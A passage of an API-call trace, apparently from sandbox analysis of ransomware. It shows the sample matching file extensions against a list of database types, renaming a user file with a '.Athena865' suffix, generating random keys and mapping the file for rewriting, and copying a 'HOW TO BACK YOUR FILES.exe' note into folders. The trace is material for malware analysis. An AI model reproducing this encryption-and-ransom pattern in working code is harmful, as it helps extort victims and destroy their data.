(lpString1="ots", lpString2="abx") returned 1 [0101.527] lstrlenW (lpString="accdb") returned 5 [0101.527] lstrcmpiW (lpString1="-.ots", lpString2="accdb") returned -1 [0101.527] lstrlenW (lpString="accdc") returned 5 [0101.527] lstrcmpiW (lpString1="-.ots", lpString2="accdc") returned -1 [0101.527] lstrlenW (lpString="accde") returned 5 [0101.527] lstrcmpiW (lpString1="-.ots", lpString2="accde") returned -1 [0101.527] lstrlenW (lpString="accdr") returned 5 [0101.528] lstrcmpiW (lpString1="-.ots", lpString2="accdr") returned -1 [0101.528] lstrlenW (lpString="accdt") returned 5 [0101.528] lstrcmpiW (lpString1="-.ots", lpString2="accdt") returned -1 [0101.528] lstrlenW (lpString="accdw") returned 5 [0101.528] lstrcmpiW (lpString1="-.ots", lpString2="accdw") returned -1 [0101.528] lstrlenW (lpString="accft") returned 5 [0101.528] lstrcmpiW (lpString1="-.ots", lpString2="accft") returned -1 [0101.528] lstrlenW (lpString="adb") returned 3 [0101.528] lstrcmpiW (lpString1="ots", lpString2="adb") returned 1 [0101.528] lstrlenW (lpString="adb") returned 3 [0101.528] lstrcmpiW (lpString1="ots", lpString2="adb") returned 1 [0101.528] lstrlenW (lpString="ade") returned 3 [0101.528] lstrcmpiW (lpString1="ots", lpString2="ade") returned 1 [0101.528] lstrlenW (lpString="adf") returned 3 [0101.528] lstrcmpiW (lpString1="ots", lpString2="adf") returned 1 [0101.528] lstrlenW (lpString="adn") returned 3 [0101.528] lstrcmpiW (lpString1="ots", lpString2="adn") returned 1 [0101.528] lstrlenW (lpString="adp") returned 3 [0101.528] lstrcmpiW (lpString1="ots", lpString2="adp") returned 1 [0101.528] lstrlenW (lpString="alf") returned 3 [0101.528] lstrcmpiW (lpString1="ots", lpString2="alf") returned 1 [0101.528] lstrlenW (lpString="ask") returned 3 [0101.528] lstrcmpiW (lpString1="ots", lpString2="ask") returned 1 [0101.528] lstrlenW (lpString="btr") returned 3 [0101.528] lstrcmpiW (lpString1="ots", lpString2="btr") returned 1 [0101.528] lstrlenW (lpString="cat") returned 3 [0101.528] lstrcmpiW (lpString1="ots", lpString2="cat") returned 1 [0101.528] lstrlenW (lpString="cdb") returned 3 [0101.528] lstrcmpiW (lpString1="ots", lpString2="cdb") returned 1 [0101.528] lstrlenW (lpString="ckp") returned 3 [0101.528] lstrcmpiW (lpString1="ots", lpString2="ckp") returned 1 [0101.529] lstrlenW (lpString="cma") returned 3 [0101.529] lstrcmpiW (lpString1="ots", lpString2="cma") returned 1 [0101.529] lstrlenW (lpString="cpd") returned 3 [0101.529] lstrcmpiW (lpString1="ots", lpString2="cpd") returned 1 [0101.529] lstrlenW (lpString="dacpac") returned 6 [0101.529] lstrcmpiW (lpString1="Z-.ots", lpString2="dacpac") returned 1 [0101.529] lstrlenW (lpString="dad") returned 3 [0101.529] lstrcmpiW (lpString1="ots", lpString2="dad") returned 1 [0101.529] lstrlenW (lpString="dadiagrams") returned 10 [0101.529] lstrcmpiW (lpString1="-YD8Z-.ots", lpString2="dadiagrams") returned 1 [0101.529] lstrlenW (lpString="daschema") returned 8 [0101.529] lstrcmpiW (lpString1="D8Z-.ots", lpString2="daschema") returned -1 [0101.529] lstrlenW (lpString="db-journal") returned 10 [0101.529] lstrcmpiW (lpString1="-YD8Z-.ots", lpString2="db-journal") returned 1 [0101.529] lstrlenW (lpString="db-shm") returned 6 [0101.529] lstrcmpiW (lpString1="Z-.ots", lpString2="db-shm") returned 1 [0101.529] lstrlenW (lpString="db-wal") returned 6 [0101.529] lstrcmpiW (lpString1="Z-.ots", lpString2="db-wal") returned 1 [0101.529] lstrlenW (lpString="dbc") returned 3 [0101.529] lstrcmpiW (lpString1="ots", lpString2="dbc") returned 1 [0101.529] lstrlenW (lpString="dbs") returned 3 [0101.529] lstrcmpiW (lpString1="ots", lpString2="dbs") returned 1 [0101.529] lstrlenW (lpString="dbt") returned 3 [0101.529] lstrcmpiW (lpString1="ots", lpString2="dbt") returned 1 [0101.529] lstrlenW (lpString="dbv") returned 3 [0101.529] lstrcmpiW (lpString1="ots", lpString2="dbv") returned 1 [0101.529] lstrlenW (lpString="dbx") returned 3 [0101.529] lstrcmpiW (lpString1="ots", lpString2="dbx") returned 1 [0101.529] lstrlenW (lpString="dcb") returned 3 [0101.529] lstrcmpiW (lpString1="ots", lpString2="dcb") returned 1 [0101.529] lstrlenW (lpString="dct") returned 3 [0101.529] lstrcmpiW (lpString1="ots", lpString2="dct") returned 1 [0101.529] lstrlenW (lpString="dcx") returned 3 [0101.530] lstrcmpiW (lpString1="ots", lpString2="dcx") returned 1 [0101.530] lstrlenW (lpString="ddl") returned 3 [0101.530] lstrcmpiW (lpString1="ots", lpString2="ddl") returned 1 [0101.530] lstrlenW (lpString="dlis") returned 4 [0101.530] lstrcmpiW (lpString1=".ots", lpString2="dlis") returned -1 [0101.530] lstrlenW (lpString="dp1") returned 3 [0101.530] lstrcmpiW (lpString1="ots", lpString2="dp1") returned 1 [0101.530] lstrlenW (lpString="dqy") returned 3 [0101.530] lstrcmpiW (lpString1="ots", lpString2="dqy") returned 1 [0101.530] lstrlenW (lpString="dsk") returned 3 [0101.530] lstrcmpiW (lpString1="ots", lpString2="dsk") returned 1 [0101.530] lstrlenW (lpString="dsn") returned 3 [0101.530] lstrcmpiW (lpString1="ots", lpString2="dsn") returned 1 [0101.530] lstrlenW (lpString="dtsx") returned 4 [0101.530] lstrcmpiW (lpString1=".ots", lpString2="dtsx") returned -1 [0101.530] lstrlenW (lpString="dxl") returned 3 [0101.530] lstrcmpiW (lpString1="ots", lpString2="dxl") returned 1 [0101.530] lstrlenW (lpString="eco") returned 3 [0101.530] lstrcmpiW (lpString1="ots", lpString2="eco") returned 1 [0101.530] lstrlenW (lpString="ecx") returned 3 [0101.530] lstrcmpiW (lpString1="ots", lpString2="ecx") returned 1 [0101.530] lstrlenW (lpString="edb") returned 3 [0101.530] lstrcmpiW (lpString1="ots", lpString2="edb") returned 1 [0101.530] lstrlenW (lpString="epim") returned 4 [0101.530] lstrcmpiW (lpString1=".ots", lpString2="epim") returned -1 [0101.530] lstrlenW (lpString="fcd") returned 3 [0101.530] lstrcmpiW (lpString1="ots", lpString2="fcd") returned 1 [0101.530] lstrlenW (lpString="fdb") returned 3 [0101.530] lstrcmpiW (lpString1="ots", lpString2="fdb") returned 1 [0101.530] lstrlenW (lpString="fic") returned 3 [0101.530] lstrcmpiW (lpString1="ots", lpString2="fic") returned 1 [0101.530] lstrlenW (lpString="flexolibrary") returned 12 [0101.531] lstrcmpiW (lpString1="Ak-YD8Z-.ots", lpString2="flexolibrary") returned -1 [0101.531] lstrlenW (lpString="fm5") returned 3 [0101.531] lstrcmpiW (lpString1="ots", lpString2="fm5") returned 1 [0101.531] lstrlenW (lpString="fmp") returned 3 [0101.531] lstrcmpiW (lpString1="ots", lpString2="fmp") returned 1 [0101.531] lstrlenW (lpString="fmp12") returned 5 [0101.531] lstrcmpiW (lpString1="-.ots", lpString2="fmp12") returned -1 [0101.531] lstrlenW (lpString="fmpsl") returned 5 [0101.531] lstrcmpiW (lpString1="-.ots", lpString2="fmpsl") returned -1 [0101.531] lstrlenW (lpString="fol") returned 3 [0101.531] lstrcmpiW (lpString1="ots", lpString2="fol") returned 1 [0101.531] lstrlenW (lpString="fp3") returned 3 [0101.531] lstrcmpiW (lpString1="ots", lpString2="fp3") returned 1 [0101.531] lstrlenW (lpString="fp4") returned 3 [0101.531] lstrcmpiW (lpString1="ots", lpString2="fp4") returned 1 [0101.531] lstrlenW (lpString="fp5") returned 3 [0101.531] lstrcmpiW (lpString1="ots", lpString2="fp5") returned 1 [0101.531] lstrlenW (lpString="fp7") returned 3 [0101.531] lstrcmpiW (lpString1="ots", lpString2="fp7") returned 1 [0101.531] lstrlenW (lpString="fpt") returned 3 [0101.531] lstrcmpiW (lpString1="ots", lpString2="fpt") returned 1 [0101.531] lstrlenW (lpString="frm") returned 3 [0101.531] lstrcmpiW (lpString1="ots", lpString2="frm") returned 1 [0101.531] lstrlenW (lpString="gdb") returned 3 [0101.531] lstrcmpiW (lpString1="ots", lpString2="gdb") returned 1 [0101.531] lstrlenW (lpString="gdb") returned 3 [0101.531] lstrcmpiW (lpString1="ots", lpString2="gdb") returned 1 [0101.531] lstrlenW (lpString="grdb") returned 4 [0101.531] lstrcmpiW (lpString1=".ots", lpString2="grdb") returned -1 [0101.531] lstrlenW (lpString="gwi") returned 3 [0101.531] lstrcmpiW (lpString1="ots", lpString2="gwi") returned 1 [0101.531] lstrlenW (lpString="hdb") returned 3 [0101.532] lstrcmpiW (lpString1="ots", lpString2="hdb") returned 1 [0101.532] lstrlenW (lpString="his") returned 3 [0101.532] lstrcmpiW (lpString1="ots", lpString2="his") returned 1 [0101.532] lstrlenW (lpString="ib") returned 2 [0101.532] lstrcmpiW (lpString1="ts", lpString2="ib") returned 1 [0101.532] lstrlenW (lpString="idb") returned 3 [0101.532] lstrcmpiW (lpString1="ots", lpString2="idb") returned 1 [0101.532] lstrlenW (lpString="ihx") returned 3 [0101.532] lstrcmpiW (lpString1="ots", lpString2="ihx") returned 1 [0101.532] lstrlenW (lpString="itdb") returned 4 [0101.532] lstrcmpiW (lpString1=".ots", lpString2="itdb") returned -1 [0101.532] lstrlenW (lpString="itw") returned 3 [0101.532] lstrcmpiW (lpString1="ots", lpString2="itw") returned 1 [0101.532] lstrlenW (lpString="jet") returned 3 [0101.532] lstrcmpiW (lpString1="ots", lpString2="jet") returned 1 [0101.532] lstrlenW (lpString="jtx") returned 3 [0101.532] lstrcmpiW (lpString1="ots", lpString2="jtx") returned 1 [0101.532] lstrlenW (lpString="kdb") returned 3 [0101.532] lstrcmpiW (lpString1="ots", lpString2="kdb") returned 1 [0101.532] lstrlenW (lpString="kexi") returned 4 [0101.532] lstrcmpiW (lpString1=".ots", lpString2="kexi") returned -1 [0101.532] lstrlenW (lpString="kexic") returned 5 [0101.532] lstrcmpiW (lpString1="-.ots", lpString2="kexic") returned -1 [0101.532] lstrlenW (lpString="kexis") returned 5 [0101.532] lstrcmpiW (lpString1="-.ots", lpString2="kexis") returned -1 [0101.532] lstrlenW (lpString="lgc") returned 3 [0101.532] lstrcmpiW (lpString1="ots", lpString2="lgc") returned 1 [0101.532] lstrlenW (lpString="lwx") returned 3 [0101.532] lstrcmpiW (lpString1="ots", lpString2="lwx") returned 1 [0101.532] lstrlenW (lpString="maf") returned 3 [0101.532] lstrcmpiW (lpString1="ots", lpString2="maf") returned 1 [0101.532] lstrlenW (lpString="maq") returned 3 [0101.533] lstrcmpiW (lpString1="ots", lpString2="maq") returned 1 [0101.533] lstrlenW (lpString="mar") returned 3 [0101.533] lstrcmpiW (lpString1="ots", lpString2="mar") returned 1 [0101.533] lstrlenW (lpString="marshal") returned 7 [0101.533] lstrcmpiW (lpString1="8Z-.ots", lpString2="marshal") returned -1 [0101.533] lstrlenW (lpString="mas") returned 3 [0101.533] lstrcmpiW (lpString1="ots", lpString2="mas") returned 1 [0101.533] lstrlenW (lpString="mav") returned 3 [0101.533] lstrcmpiW (lpString1="ots", lpString2="mav") returned 1 [0101.533] lstrlenW (lpString="maw") returned 3 [0101.533] lstrcmpiW (lpString1="ots", lpString2="maw") returned 1 [0101.533] lstrlenW (lpString="mdbhtml") returned 7 [0101.533] lstrcmpiW (lpString1="8Z-.ots", lpString2="mdbhtml") returned -1 [0101.533] lstrlenW (lpString="mdn") returned 3 [0101.533] lstrcmpiW (lpString1="ots", lpString2="mdn") returned 1 [0101.533] lstrlenW (lpString="mdt") returned 3 [0101.533] lstrcmpiW (lpString1="ots", lpString2="mdt") returned 1 [0101.533] lstrlenW (lpString="mfd") returned 3 [0101.533] lstrcmpiW (lpString1="ots", lpString2="mfd") returned 1 [0101.533] lstrlenW (lpString="mpd") returned 3 [0101.533] lstrcmpiW (lpString1="ots", lpString2="mpd") returned 1 [0101.533] lstrlenW (lpString="mrg") returned 3 [0101.533] lstrcmpiW (lpString1="ots", lpString2="mrg") returned 1 [0101.533] lstrlenW (lpString="mud") returned 3 [0101.533] lstrcmpiW (lpString1="ots", lpString2="mud") returned 1 [0101.533] lstrlenW (lpString="mwb") returned 3 [0101.533] lstrcmpiW (lpString1="ots", lpString2="mwb") returned 1 [0101.533] lstrlenW (lpString="myd") returned 3 [0101.533] lstrcmpiW (lpString1="ots", lpString2="myd") returned 1 [0101.533] lstrlenW (lpString="ndf") returned 3 [0101.533] lstrcmpiW (lpString1="ots", lpString2="ndf") returned 1 [0101.534] lstrlenW (lpString="nnt") returned 3 [0101.534] lstrcmpiW (lpString1="ots", lpString2="nnt") returned 1 [0101.534] lstrlenW (lpString="nrmlib") returned 6 [0101.534] lstrcmpiW (lpString1="Z-.ots", lpString2="nrmlib") returned 1 [0101.534] lstrlenW (lpString="ns2") returned 3 [0101.534] lstrcmpiW (lpString1="ots", lpString2="ns2") returned 1 [0101.534] lstrlenW (lpString="ns3") returned 3 [0101.534] lstrcmpiW (lpString1="ots", lpString2="ns3") returned 1 [0101.534] lstrlenW (lpString="ns4") returned 3 [0101.534] lstrcmpiW (lpString1="ots", lpString2="ns4") returned 1 [0101.534] lstrlenW (lpString="nsf") returned 3 [0101.534] lstrcmpiW (lpString1="ots", lpString2="nsf") returned 1 [0101.534] lstrlenW (lpString="nv") returned 2 [0101.534] lstrcmpiW (lpString1="ts", lpString2="nv") returned 1 [0101.534] lstrlenW (lpString="nv2") returned 3 [0101.534] lstrcmpiW (lpString1="ots", lpString2="nv2") returned 1 [0101.534] lstrlenW (lpString="nwdb") returned 4 [0101.534] lstrcmpiW (lpString1=".ots", lpString2="nwdb") returned -1 [0101.534] lstrlenW (lpString="nyf") returned 3 [0101.534] lstrcmpiW (lpString1="ots", lpString2="nyf") returned 1 [0101.534] lstrlenW (lpString="odb") returned 3 [0101.534] lstrcmpiW (lpString1="ots", lpString2="odb") returned 1 [0101.534] lstrlenW (lpString="odb") returned 3 [0101.534] lstrcmpiW (lpString1="ots", lpString2="odb") returned 1 [0101.534] lstrlenW (lpString="oqy") returned 3 [0101.534] lstrcmpiW (lpString1="ots", lpString2="oqy") returned 1 [0101.534] lstrlenW (lpString="ora") returned 3 [0101.534] lstrcmpiW (lpString1="ots", lpString2="ora") returned 1 [0101.534] lstrlenW (lpString="orx") returned 3 [0101.534] lstrcmpiW (lpString1="ots", lpString2="orx") returned 1 [0101.534] lstrlenW (lpString="owc") returned 3 [0101.534] lstrcmpiW (lpString1="ots", lpString2="owc") returned -1 [0101.534] lstrlenW (lpString="p96") returned 3 [0101.535] lstrcmpiW (lpString1="ots", lpString2="p96") returned -1 [0101.535] lstrlenW (lpString="p97") returned 3 [0101.535] lstrcmpiW (lpString1="ots", lpString2="p97") returned -1 [0101.535] lstrlenW (lpString="pan") returned 3 [0101.535] lstrcmpiW (lpString1="ots", lpString2="pan") returned -1 [0101.535] lstrlenW (lpString="pdb") returned 3 [0101.535] lstrcmpiW (lpString1="ots", lpString2="pdb") returned -1 [0101.535] lstrlenW (lpString="pdm") returned 3 [0101.535] lstrcmpiW (lpString1="ots", lpString2="pdm") returned -1 [0101.535] lstrlenW (lpString="pnz") returned 3 [0101.535] lstrcmpiW (lpString1="ots", lpString2="pnz") returned -1 [0101.535] lstrlenW (lpString="qry") returned 3 [0101.535] lstrcmpiW (lpString1="ots", lpString2="qry") returned -1 [0101.535] lstrlenW (lpString="qvd") returned 3 [0101.535] lstrcmpiW (lpString1="ots", lpString2="qvd") returned -1 [0101.535] lstrlenW (lpString="rbf") returned 3 [0101.535] lstrcmpiW (lpString1="ots", lpString2="rbf") returned -1 [0101.535] lstrlenW (lpString="rctd") returned 4 [0101.535] lstrcmpiW (lpString1=".ots", lpString2="rctd") returned -1 [0101.535] lstrlenW (lpString="rod") returned 3 [0101.535] lstrcmpiW (lpString1="ots", lpString2="rod") returned -1 [0101.535] lstrlenW (lpString="rodx") returned 4 [0101.535] lstrcmpiW (lpString1=".ots", lpString2="rodx") returned -1 [0101.535] lstrlenW (lpString="rpd") returned 3 [0101.535] lstrcmpiW (lpString1="ots", lpString2="rpd") returned -1 [0101.535] lstrlenW (lpString="rsd") returned 3 [0101.535] lstrcmpiW (lpString1="ots", lpString2="rsd") returned -1 [0101.535] lstrlenW (lpString="sas7bdat") returned 8 [0101.535] lstrcmpiW (lpString1="D8Z-.ots", lpString2="sas7bdat") returned -1 [0101.535] lstrlenW (lpString="sbf") returned 3 [0101.535] lstrcmpiW (lpString1="ots", lpString2="sbf") returned -1 [0101.535] lstrlenW (lpString="scx") returned 3 [0101.536] lstrcmpiW (lpString1="ots", lpString2="scx") returned -1 [0101.536] lstrlenW (lpString="sdb") returned 3 [0101.536] lstrcmpiW (lpString1="ots", lpString2="sdb") returned -1 [0101.536] lstrlenW (lpString="sdc") returned 3 [0101.536] lstrcmpiW (lpString1="ots", lpString2="sdc") returned -1 [0101.536] lstrlenW (lpString="sdf") returned 3 [0101.536] lstrcmpiW (lpString1="ots", lpString2="sdf") returned -1 [0101.536] lstrlenW (lpString="sis") returned 3 [0101.536] lstrcmpiW (lpString1="ots", lpString2="sis") returned -1 [0101.536] lstrlenW (lpString="spq") returned 3 [0101.536] lstrcmpiW (lpString1="ots", lpString2="spq") returned -1 [0101.536] lstrlenW (lpString="te") returned 2 [0101.536] lstrcmpiW (lpString1="ts", lpString2="te") returned 1 [0101.536] lstrlenW (lpString="teacher") returned 7 [0101.536] lstrcmpiW (lpString1="8Z-.ots", lpString2="teacher") returned -1 [0101.536] lstrlenW (lpString="tmd") returned 3 [0101.536] lstrcmpiW (lpString1="ots", lpString2="tmd") returned -1 [0101.536] lstrlenW (lpString="tps") returned 3 [0101.536] lstrcmpiW (lpString1="ots", lpString2="tps") returned -1 [0101.536] lstrlenW (lpString="trc") returned 3 [0101.536] lstrcmpiW (lpString1="ots", lpString2="trc") returned -1 [0101.536] lstrlenW (lpString="trc") returned 3 [0101.536] lstrcmpiW (lpString1="ots", lpString2="trc") returned -1 [0101.536] lstrlenW (lpString="trm") returned 3 [0101.536] lstrcmpiW (lpString1="ots", lpString2="trm") returned -1 [0101.536] lstrlenW (lpString="udb") returned 3 [0101.536] lstrcmpiW (lpString1="ots", lpString2="udb") returned -1 [0101.536] lstrlenW (lpString="udl") returned 3 [0101.536] lstrcmpiW (lpString1="ots", lpString2="udl") returned -1 [0101.536] lstrlenW (lpString="usr") returned 3 [0101.536] lstrcmpiW (lpString1="ots", lpString2="usr") returned -1 [0101.536] lstrlenW (lpString="v12") returned 3 [0101.536] lstrcmpiW (lpString1="ots", lpString2="v12") returned -1 [0101.537] lstrlenW (lpString="vis") returned 3 [0101.537] lstrcmpiW (lpString1="ots", lpString2="vis") returned -1 [0101.537] lstrlenW (lpString="vpd") returned 3 [0101.537] lstrcmpiW (lpString1="ots", lpString2="vpd") returned -1 [0101.537] lstrlenW (lpString="vvv") returned 3 [0101.537] lstrcmpiW (lpString1="ots", lpString2="vvv") returned -1 [0101.537] lstrlenW (lpString="wdb") returned 3 [0101.537] lstrcmpiW (lpString1="ots", lpString2="wdb") returned -1 [0101.537] lstrlenW (lpString="wmdb") returned 4 [0101.537] lstrcmpiW (lpString1=".ots", lpString2="wmdb") returned -1 [0101.537] lstrlenW (lpString="wrk") returned 3 [0101.537] lstrcmpiW (lpString1="ots", lpString2="wrk") returned -1 [0101.537] lstrlenW (lpString="xdb") returned 3 [0101.537] lstrcmpiW (lpString1="ots", lpString2="xdb") returned -1 [0101.537] lstrlenW (lpString="xld") returned 3 [0101.537] lstrcmpiW (lpString1="ots", lpString2="xld") returned -1 [0101.537] lstrlenW (lpString="xmlff") returned 5 [0101.537] lstrcmpiW (lpString1="-.ots", lpString2="xmlff") returned -1 [0101.537] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs\\_FVlpnjgIBgAk-YD8Z-.ots.Athena865") returned 103 [0101.537] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs\\_FVlpnjgIBgAk-YD8Z-.ots" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\al9qesveumbs\\_fvlpnjgibgak-yd8z-.ots"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs\\_FVlpnjgIBgAk-YD8Z-.ots.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\al9qesveumbs\\_fvlpnjgibgak-yd8z-.ots.athena865"), dwFlags=0x1) returned 1 [0101.540] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs\\_FVlpnjgIBgAk-YD8Z-.ots.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\al9qesveumbs\\_fvlpnjgibgak-yd8z-.ots.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0101.541] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=45951) returned 1 [0101.541] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.541] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.542] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5193c0 [0101.542] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.542] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.542] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.543] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb680, lpName=0x0) returned 0x154 [0101.543] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb680) returned 0x100000 [0101.544] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.545] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.545] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0101.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528188 [0101.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0101.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.546] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0101.546] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x546058 [0101.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0101.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546058 | out: hHeap=0x4f0000) returned 1 [0101.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0101.546] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0101.546] CloseHandle (hObject=0x154) returned 1 [0101.546] CloseHandle (hObject=0x17c) returned 1 [0101.547] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0101.547] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5193c0 | out: hHeap=0x4f0000) returned 1 [0101.547] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0101.547] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x783a3e0, ftCreationTime.dwHighDateTime=0x1d4cd5c, ftLastAccessTime.dwLowDateTime=0xf0d3abc0, ftLastAccessTime.dwHighDateTime=0x1d4cfd3, ftLastWriteTime.dwLowDateTime=0xf0d3abc0, ftLastWriteTime.dwHighDateTime=0x1d4cfd3, nFileSizeHigh=0x0, nFileSizeLow=0xb37f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_FVlpnjgIBgAk-YD8Z-.ots", cAlternateFileName="_FVLPN~1.OTS")) returned 0 [0101.548] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0101.548] ReleaseMutex (hMutex=0xec) returned 1 [0101.548] CloseHandle (hObject=0xec) returned 1 [0101.548] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\ES3F3HYy" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\ES3F3HYy") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\ES3F3HYy" [0101.548] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514ab8 | out: hHeap=0x4f0000) returned 1 [0101.548] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c428 | out: hHeap=0x4f0000) returned 1 [0101.548] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\ES3F3HYy") returned 65 [0101.548] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\FCABD51E9C4FC87589E000B75BF991DC") returned 0xec [0101.548] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0101.548] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\ES3F3HYy" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\ES3F3HYy") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\ES3F3HYy" [0101.548] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0101.548] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\ES3F3HYy\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\es3f3hyy\\how to back your files.exe"), bFailIfExists=1) returned 0 [0101.549] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\ES3F3HYy\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\es3f3hyy\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0101.549] GetLastError () returned 0x0 [0101.549] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0101.549] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546058 [0101.549] ReadFile (in: hFile=0xf4, lpBuffer=0x546058, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546058*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0101.550] CloseHandle (hObject=0xf4) returned 1 [0101.550] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546058 | out: hHeap=0x4f0000) returned 1 [0101.550] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0101.550] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\ES3F3HYy\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf284e260, ftCreationTime.dwHighDateTime=0x1d4d23d, ftLastAccessTime.dwLowDateTime=0xc5d56560, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5d56560, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0101.550] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.550] lstrcmpiW (lpString1=".", 